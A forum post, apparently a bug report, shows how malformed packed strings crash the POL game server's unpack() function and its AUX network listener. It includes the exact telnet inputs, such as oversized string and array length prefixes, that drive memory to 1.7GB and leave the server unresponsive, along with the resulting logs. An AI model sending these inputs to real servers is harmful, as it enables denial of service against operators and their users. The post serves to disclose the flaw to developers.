Seems it incorrectly handles many "corner cases". Some of them cause thread exceptions which include bad allocations and excessive memory usage peaks. If you have AUX listener enabled, you are open to DOS attacks (btw, why on earth AUX uses packed format, not raw text data?).
Code:
packed := "S-1"; print(packed + " -> " + unpack(packed));
Quote:
S-1 -> error{ errortext = "Unable to unpack string length" }
Exception in: scripts/console/about.ecl in: : basic_string
Code:
packed := "S-1:"; print(packed + " -> " + unpack(packed));
Quote:
Exception in: scripts/console/about.ecl in: : basic_string
On a system with 2GB of ram, POL uses ~100MB, I ran this:
Code:
packed := "S1000000000:"; print(packed + " -> " + unpack(packed));
Quote:
Exception in: scripts/console/about.ecl in: : bad allocation
Server froze for a while, mem usage peaked to 1GB, finally an exception was thrown ant it returned to normal.
But hey, why stop on strings? Let's mess with arrays!
I've created a basic AUX listener that just printed out on the console everything it received:
Code:
use basic;
use os;
program aux(conn)
var event;
SysLog("[AUX] connection initiated: "+conn);
while (conn)
event := wait_for_event(5);
if (!event)
continue;
endif
event := event.value;
if (event == error)
SysLog("[AUX] bad data: "+event.errortext);
continue;
endif
print(event);
endwhile
SysLog("[AUX] connection closed: "+conn);
endprogram
Then I connected with raw telnet application (PuTTY) and send the following:
Code:
Hello world!
sHello world!
S12:Hello world!
S-1:
a100000000:a1000000:a10000000:
Results?
Code:
Starting Aux Listener (:auxremote:aux_remote, port 5557)
syslog [pkg/auxsvc/aux_remote.ecl]: [AUX] connection initiated: <AuxConnection>
syslog [pkg/auxsvc/aux_remote.ecl]: [AUX] bad data: Unknown object type 'H'
Hello world!
Hello world!
Thread exception: basic_string
syslog [pkg/auxsvc/aux_remote.ecl]: [AUX] connection initiated: <AuxConnection>
Thread exception: bad allocation
Commands:
a: Test
S: Lock/Unlock console
?: Help (This list)
Console is now unlocked.
Command aborted due to: bad allocation
Command aborted due to: bad allocation
Thread exception: bad allocation
Thread exception: bad allocation
Memory usage went up to 1.7GB and stood there. No subsequent AUX connections were accepted, no console commands either: no scripts were able to load. That effectively means the server is dead:
Code:
scin: 0 scsl: 0 MOB: 0 TLI: 0
scin: 0 scsl: 0 MOB: 0 TLI: 0
Fun, eh?
